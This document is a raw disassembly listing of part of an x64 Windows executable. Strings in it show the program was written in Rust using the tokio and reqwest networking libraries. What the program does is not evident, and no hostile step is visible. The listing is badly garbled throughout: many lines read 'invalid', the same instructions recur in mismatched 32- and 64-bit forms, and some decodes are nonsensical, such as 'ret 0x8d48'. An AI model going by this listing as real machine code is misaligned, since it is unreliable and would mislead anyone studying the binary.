mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x140092c4a.202
test eax, eax
jne 0x1400c3f58
sal byte [rbp + 0x59], 0x8b
add eax, 0xbe40f
or eax, dword [rax]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
mov al, 3
add al, byte [rax]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], bl
add byte [rax], al
add dword [rax + 0x11d98], ecx
add bl, ch
or cl, byte [rcx - 0x75]
invalid
jmp 0x1400c3f58
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax + 0x10]
or r15b, r15b
push rax
adc byte [rcx - 0x77fe4ffd], dh
mov cl, 3
mov al, 1
mov byte [rsi + 0x298], cl
add rsp, 0x1d8
invalid
mov ds, word [rax + 0x48000002]
add esp, 0x1d8
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lock or qword [r14 + 0x30], 8
jmp 0x1400c3d93
invalid
dec dword [rax - 0x73]
or eax, 0x7cbb4
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140108880
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x318
invalid
add byte [rdi], cl
sub dword [rsp + 0x300], esi
movaps xmmword [rsp + 0x300], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.default.0x1400c4036
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400c4025
test al, 4
je 0x1400c4269
add al, 0xf
test byte [rdi + 2], ah
add byte [rax], al
test al, 3
je 0x1400c3fe0
cmp rax, 0x3f
jbe 0x1400c4281
xchg byte [rcx + 2], dh
add byte [rax], al
invalid
xchg byte [rcx + 2], dh
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne case.default.0x1400c4036
movzx eax, dl
ret 0x8d48
lea rcx, [0x140177fc0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne case.0x1400a9339.86
lea rax, [0x14014e140]
lea eax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 3
jae 0x1400c4299
add al, byte cs:[rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
jle 0x1400c409b
mov eax, dword [0x140182314]
wait
loop 0x1400c4083
or eax, dword [rax]
jle 0x1400c409b
wait
loop 0x1400c4083
invalid
or eax, dword [rax]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
add al, 0xc2
movzx eax, byte [rax + 0x120]
add byte [rax], al
cmp eax, 1
je 0x1400c40d0
xorps xmm6, xmm6
test eax, eax
jne 0x1400c40fc
test byte [rbp - 0x749c8a40], 5
jne 0x1400c407f
mov eax, dword [0x140182314]
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
add byte [rax - 0x73], cl
adc eax, 0x20216
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
add byte [rax - 0x73], cl
adc eax, 0x20216
add al, byte [rdx]
add byte [rax - 0x77], cl
mov ebx, ecx
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d4a00
cmp ecx, dword [rcx]
add dword [rax], eax
cmp ecx, dword [rcx]
add dword [rax], eax
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xbe23e05], ecx
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
lea rdx, [rsp + 0x40]
call fcn.1400c3ad0
invalid
call fcn.1400c3ad0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400c415a
test ecx, ecx
jne case.0x1400b3986.56
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x1400e42d0]
add byte [rax], al
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0xbe1b40d], ecx
loope 0x1400c416a
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
loope 0x1400c416a
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
add byte [rax], al
add byte [rax - 0x73], cl
lea rdi, [rsi + 0x20]
lea rdi, [rsi + 0x20]
test al, al
je 0x1400c420f
invalid
pop qword [rax]
add byte [rax], al
test byte [rdi + 0x48000000], cl
mov ecx, esi
mov rcx, rsi
call fcn.1400e6d10
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rcx, [0x140177fd0]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
or dword [rax + 1], 0x48e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
bnd call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd dword [rsi], eax
invalid
xadd dword [rsi], eax
cmp rax, 0x3f
jbe 0x1400c42d1
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
ror byte [rax - 0x7d], 0xf8
jne case.0x1400c4199.0
jne case.0x1400c4199.0
jne case.0x1400c4199.0
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.1400c44f0
jmp case.0x1400c4199.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x60], 4
and al, 0x60
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c45b0
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rax
jmp 0x1400c4236
mov qword [rsp + 0x60], 4
mov dword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c45b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 3
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c45b0
mov rcx, rsi
call fcn.1400c4750
movaps xmm6, xmmword [rsp + 0x300]
add rsp, 0x318
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400c450d
lea rcx, [rsi + 0x20]
call fcn.1400396d0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400c4539
test rax, rax
jne 0x1400c4576
lea rcx, [rsi + 0x30]
call fcn.1400c2f50
jmp 0x1400c4576
cmp qword [rsi + 0x38], 0
je 0x1400c4576
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400c4576
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c4576
cmp qword [rbx + 0x10], 0x11
jb 0x1400c4564
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x2e0]
test rax, rax
invalid
je 0x1400c458c
sal byte [rdx + rcx + 0x48], 0x8b
mov gs, eax
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
sbb byte [r8], al
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 0x48000000], dl
mov eax, dword [rsp + 0x28]
lock dec qword [rax]
je 0x1400c5001
lock dec qword [rbx]
je 0x1400c5011
test rsi, rsi
jne 0x1400c5020
jmp 0x1400c5051
mov rcx, qword [rsp + 0x28]
call fcn.1400052e0
lock dec qword [rbx]
jne 0x1400c4ffa
lea rcx, [rsp + 0x30]
call fcn.140068b70
test rsi, rsi
je 0x1400c5051
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c5051
cmp qword [rdi + 0x10], 0x11
jb 0x1400c5037
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
add byte [rcx + rcx*4 - 0x40], cl
mov rsi, rcx
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0x280], rcx
movups xmm0, xmmword [rdx]
movups xmmword [rsp + 0x270], xmm0
lea rcx, [rsp + 0x138]
mov r8d, 0x138
mov rdx, rax
call fcn.140106250
cmp dword [rsp + 0x138], 2
je 0x1400c50ff
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xe0]
call fcn.1400bdab0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xe0], rax
jne 0x1400c5120
lea rdx, [rsp + 0x138]
mov r8d, 0x150
mov rcx, rsi
call fcn.140106250
nop
add rsp, 0x3d8
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x90], xmm0
lea rdi, [rsp + 0xf8]
lea rcx, [rsp + 0x288]
lea rdx, [rsp + 0x138]
mov r8d, 0x150
call fcn.140106250
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x90]
mov r8, rdi
call fcn.1400bddf0
cmp dword [rsp + 0x288], 2
jne 0x1400c51b4
lea rdx, [rsp + 0x138]
mov r8d, 0x150
mov rcx, rsi
call fcn.140106250
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rax + 0x10]
jmp 0x1400c5115
movups xmm0, xmmword [0x140142af0]
movaps xmmword [rsp + 0x120], xmm0
movups xmm0, xmmword [0x140142ae0]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov eax, dword [rsp + 0xd1]
mov ecx, dword [rsp + 0xd4]
mov dword [rsp + 0x81], eax
mov dword [rsp + 0x84], ecx
lea rcx, [rsp + 0x2b0]
mov byte [rsp + 0x80], 1
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x60]
call fcn.1400be340
cmp al, 2
je 0x1400c5252
lea rdx, [rsp + 0x288]
jmp 0x1400c5107
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013eb28]
lea r8, [rsp + 0x37]
mov edx, 0x17
call fcn.140108600
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx]
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.1400c4eb0
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x1400c533f
lock dec qword [r14 + 0x1c8]
jne 0x1400c5331
lea rcx, [r14 + 0x80]
mov edx, 1
lock xadd qword [r14 + 0x88], rdx
call fcn.140065920
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [r14 + 0x110]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x1400c52f0
test rax, rax
jne 0x1400c5331
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c5331
call qword [rax + 8]
lock dec qword [r14]
jne 0x1400c533f
mov rcx, qword [rbx]
call fcn.1400bf8c0
mov rbx, qword [rdi + 0x18]
test rbx, rbx
je 0x1400c5377
pop rdi
sbb byte [rax - 0x7b], cl
invalid
mov rcx, qword [rdi + 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x1400c5361
mov rcx, qword [rdi + 0x18]
call fcn.1400052e0
mov rax, qword [rdi + 0x20]
lock dec qword [rax]
jne 0x1400c5377
add rdi, 0x20
mov rcx, rdi
call fcn.140068b70
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c53a0
lock dec qword [r8 + 8]
jne 0x1400c53a0
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
movaps xmm6, xmmword [rsp + 0x670]
add rsp, 0x688
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400c5280
mov rbx, qword [rdx + 0x110]
mov rax, qword [rdx + 0x118]
mov qword [rsp + 0xa8], rax
mov rax, qword [rdx + 0x120]
mov qword [rsp + 0x38], rax
mov rbp, qword [rdx + 0x128]
mov rax, qword [rdx + 0x130]
mov qword [rsp + 0x48], rax
movzx eax, byte [0x140182310]
mov edx, 0xd0
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c64a0
mov r12, rax
mov qword [rsp + 0x40], r15
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x38], 4
lock inc qword [rax]
jle 0x1400c7ac9
lea rdx, [rsi + 0x10]
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], r14
lea rcx, [rsp + 0x110]
mov r8d, 0x100
call fcn.140106250
mov r13d, 2
cmp rbx, 2
je 0x1400c573b
test rbx, rbx
je 0x1400c550a
invalid
mov rdx, rbp
mov ebp, 2
mov r15, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rdx
jmp 0x1400c5619
lea rcx, [rsp + 0x3f0]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.140034bf0
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x380], rax
movups xmm0, xmmword [rsp + 0x3f0]
movups xmm1, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0x370], xmm1
movaps xmmword [rsp + 0x360], xmm0
movups xmm0, xmmword [rsp + 0x418]
movaps xmmword [rsp + 0x530], xmm0
movups xmm0, xmmword [rsp + 0x428]
movaps xmmword [rsp + 0x540], xmm0
movups xmm0, xmmword [rsp + 0x438]
movaps xmmword [rsp + 0x550], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c682b
mov rbx, rax
movaps xmm0, xmmword [rsp + 0x530]
movaps xmm1, xmmword [rsp + 0x540]
movaps xmm2, xmmword [rsp + 0x550]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0x360]
movaps xmm1, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x70], rax
xor r15d, r15d
mov rcx, rbp
lea rax, [0x1401426e8]
mov r14d, 0
mov rdx, qword [rsp + 0x48]
mov r13d, 0
test rbp, rbp
mov qword [rsp + 0xa0], rax
je 0x1400c56f0
mov qword [rsp + 0xb0], r14
mov r14, r12
lea r12, [rsp + 0x128]
lea r13, [rsp + 0x530]
mov rcx, r13
call fcn.140033c70
movups xmm0, xmmword [0x140142ee0]
movaps xmmword [rsp + 0x370], xmm0
movups xmm0, xmmword [0x140142ed0]
movaps xmmword [rsp + 0x360], xmm0
lea rcx, [rsp + 0x3f0]
lea r8, [rsp + 0x360]
mov rdx, r12
mov r9, r13
call fcn.14004f490
cmp byte [rsp + 0x410], 3
je 0x1400c6672
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x380], rax
movups xmm0, xmmword [rsp + 0x3f0]
movups xmm1, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0x370], xmm1
movaps xmmword [rsp + 0x360], xmm0
cmp al, 2
je 0x1400c56da
lea rcx, [rsp + 0x378]
mov rax, qword [rsp + 0x360]
mov rdx, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x100]
mov r13, rbp
mov r12, r14
mov r14, qword [rsp + 0xb0]
test rdi, rdi
je 0x1400c5702
lea rcx, [rsp + 0x108]
call fcn.14005bac0
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], r15
mov qword [rsp + 0x110], rbx
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], r14
mov edi, 1
lea rcx, [rsp + 0x5e8]
mov r8d, 0x88
lea rdx, [rsp + 0x108]
call fcn.140106250
mov rbx, qword [rsp + 0x190]
mov r14, qword [rsp + 0x198]
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x1a4]
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x1ac]
mov dword [rsp + 0x9c], eax
movzx eax, word [rsp + 0x1b0]
mov word [rsp + 0x34], ax
movzx eax, word [rsp + 0x1b2]
mov word [rsp + 0x36], ax
mov eax, dword [rsp + 0x1b4]
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0xa0], eax
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x2b0], al
mov eax, dword [rsp + 0x1dc]
mov dword [rsp + 0xe3], eax
mov eax, dword [rsp + 0x1d9]
mov dword [rsp + 0xe0], eax
mov eax, dword [rsp + 0x20c]
mov dword [rsp + 0x5e0], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x310], rax
mov eax, dword [rsp + 0x1bc]
mov dword [rsp + 0x8c], eax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x300], xmm1
movaps xmmword [rsp + 0x2f0], xmm0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x318], rax
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x320], rax
mov eax, dword [rsp + 0x1c4]
mov dword [rsp + 0x88], eax
movups xmm0, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x328], r13
mov r13, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x330], rax
mov ebp, dword [rsp + 0x1e8]
movups xmm0, xmmword [rsp + 0x1ec]
movups xmm1, xmmword [rsp + 0x1fc]
movaps xmmword [rsp + 0x5d0], xmm1
movaps xmmword [rsp + 0x5c0], xmm0
test r14, r14
je 0x1400c58f9
js 0x1400c64df
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x1400c64e4
mov rcx, rax
jmp 0x1400c58fe
mov ecx, 1
mov qword [rsp + 0x298], rcx
mov qword [rsp + 0x78], rbx
mov rdx, rbx
mov qword [rsp + 0x38], r14
mov r8, r14
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x340], xmm0
movzx eax, byte [rsp + 0x2b0]
mov byte [rsp + 0x350], al
mov r14d, ebp
mov rax, r13
cmp ebp, 0x3b9aca00
jne 0x1400c5956
mov r14d, dword [rsi + 0x148]
mov rax, qword [rsi + 0x140]
mov qword [rsp + 0x48], r12
mov qword [rsp + 0xf8], rax
mov rax, qword [rsi + 0x138]
mov qword [rsp + 0x80], rax
mov r15, qword [rax + 0x10]
test r15, r15
je 0x1400c64af
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0x5e8]
mov r8d, 0x88
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [rsp + 0x2b0]
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0xe3]
mov dword [rsp + 0x2b8], eax
mov dword [rsp + 0x2bb], ecx
movaps xmm0, xmmword [rsp + 0x5c0]
movaps xmm1, xmmword [rsp + 0x5d0]
movaps xmmword [rsp + 0x530], xmm0
movaps xmmword [rsp + 0x540], xmm1
mov eax, dword [rsp + 0x5e0]
mov dword [rsp + 0x550], eax
mov rax, qword [r15 + 0x1c0]
mov dword [rsp + 0xbc], r14d
nop dword [rax]
test al, 1
jne 0x1400c5c36
cmp rax, 0xfffffffffffffffe
je 0x1400c66e4
lea rcx, [rax + 2]
lock cmpxchg qword [r15 + 0x1c0], rcx
jne 0x1400c5a10
lea rcx, [r15 + 0x80]
mov r14d, 1
mov esi, 1
lock xadd qword [r15 + 0x88], rsi
mov rdx, rsi
call fcn.140065920
mov rbx, r13
mov r13, rax
and esi, 0x1f
imul r12, rsi, 0x118
mov qword [rax + r12], rdi
lea rcx, [rax + r12]
add rcx, 8
lea rdx, [rsp + 0x100]
mov r8d, 0x88
call fcn.140106250
mov rax, qword [rsp + 0x78]
mov qword [r13 + r12 + 0x90], rax
mov rax, qword [rsp + 0x38]
mov qword [r13 + r12 + 0x98], rax
mov eax, dword [rsp + 0x90]
mov dword [r13 + r12 + 0xa0], eax
mov eax, dword [rsp + 0x94]
mov dword [r13 + r12 + 0xa4], eax
mov eax, dword [rsp + 0x98]
mov dword [r13 + r12 + 0xa8], eax
mov eax, dword [rsp + 0x9c]
mov dword [r13 + r12 + 0xac], eax
movzx eax, word [rsp + 0x34]
mov word [r13 + r12 + 0xb0], ax
movzx eax, word [rsp + 0x36]
mov word [r13 + r12 + 0xb2], ax
mov eax, dword [rsp + 0xb0]
mov dword [r13 + r12 + 0xb4], eax
mov eax, dword [rsp + 0xa0]
mov dword [r13 + r12 + 0xb8], eax
mov eax, dword [rsp + 0x8c]
mov dword [r13 + r12 + 0xbc], eax
mov eax, dword [rsp + 0xa8]
mov dword [r13 + r12 + 0xc0], eax
mov eax, dword [rsp + 0x88]
mov dword [r13 + r12 + 0xc4], eax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [r13 + r12 + 0xc8], xmm0
movzx eax, byte [rsp + 0x60]
mov byte [r13 + r12 + 0xd8], al
mov eax, dword [rsp + 0x2b8]
mov ecx, dword [rsp + 0x2bb]
mov dword [r13 + r12 + 0xd9], eax
mov dword [r13 + r12 + 0xdc], ecx
mov qword [r13 + r12 + 0xe0], rbx
mov dword [r13 + r12 + 0xe8], ebp
movaps xmm0, xmmword [rsp + 0x530]
movaps xmm1, xmmword [rsp + 0x540]
movups xmmword [r13 + r12 + 0xec], xmm0
movups xmmword [r13 + r12 + 0xfc], xmm1
mov eax, dword [rsp + 0x550]
mov dword [r13 + r12 + 0x10c], eax
mov rbx, qword [rsp + 0x48]
mov qword [r13 + r12 + 0x110], rbx
mov r12, rbx
mov ecx, esi
shl r14, cl
lock or qword [r13 + 0x2310], r14
mov rax, qword [r15 + 0x110]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x110], rcx
jne 0x1400c5be0
test rax, rax
mov r14d, dword [rsp + 0xbc]
jne 0x1400c5cc3
mov rax, qword [r15 + 0x100]
mov rcx, qword [r15 + 0x108]
mov qword [r15 + 0x100], 0
lock and qword [r15 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c5cc3
call qword [rax + 8]
jmp 0x1400c5cc3
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0x100]
mov r8d, 0x88
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xc0], xmm0
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x2b8]
mov ecx, dword [rsp + 0x2bb]
mov dword [rsp + 0xe8], eax
mov dword [rsp + 0xeb], ecx
movaps xmm0, xmmword [rsp + 0x530]
movaps xmm1, xmmword [rsp + 0x540]
movaps xmmword [rsp + 0x360], xmm0
movaps xmmword [rsp + 0x370], xmm1
mov eax, dword [rsp + 0x550]
mov dword [rsp + 0x380], eax
cmp rdi, 2
mov r12, qword [rsp + 0x48]
jne 0x1400c64f1
mov rbx, qword [rsp + 0x328]
cmp rbx, 2
mov qword [rsp + 0x78], rbx
je 0x1400c5ce6
cmp r14d, 0x3b9aca00
jne 0x1400c5cfd
mov ebp, 0x3b9aca00
jmp 0x1400c5d55
cmp r14d, 0x3b9aca00
jne 0x1400c5eda
mov ebp, 0x3b9aca00
jmp 0x1400c5f35
call fcn.1400dfa40
add rax, qword [rsp + 0xf8]
jb 0x1400c64c7
mov ebp, edx
add ebp, r14d
cmp ebp, 0x3b9aca00
jb 0x1400c5d55
inc rax
je 0x1400c64c7
